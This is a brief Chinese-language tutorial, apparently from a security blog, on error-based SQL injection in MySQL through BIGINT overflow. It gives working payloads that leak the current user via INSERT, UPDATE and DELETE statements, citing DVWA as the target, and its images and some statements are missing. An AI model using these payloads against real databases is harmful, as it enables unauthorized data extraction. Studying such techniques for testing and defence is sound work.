MYSQL利用BIGINT溢出爆错注入

MYSQL数据库存储类型的大小示意图
数据来源
测试版本MYSQL5.5.5 当运算结果超过上图所示的范围时,则会爆出一个bigint value is out of range的错误,比如 我们执行一个~0即是返回无符号的最大值 我们用~0+1即会爆出bigint value is out of range错误

1.在select语句的利用

查询当前用户 把两句结合一下,查询结果如下图所示 具体的场景中执行的完整SQL语句可能为: 以DVWA为例,注入利用语句为:

2.在insert语句中的利用

insert into logging(id,user,ip)values(600,'' or ~0+!(select * from (select user())x),'192.168.1.111')  

3.在update语句中的利用

update logging set user='root' where id=589 or !(select * from (select user())x)+~0  

4.在delete语句中的利用

delete from logging where id=589 or !(select * from (select user())x)+~0  

5.在读文件时的利用

注:此方法不能用于写文件操作,在写文件时,写入的内容只有一个0

zhutougg

继续阅读此作者的更多文章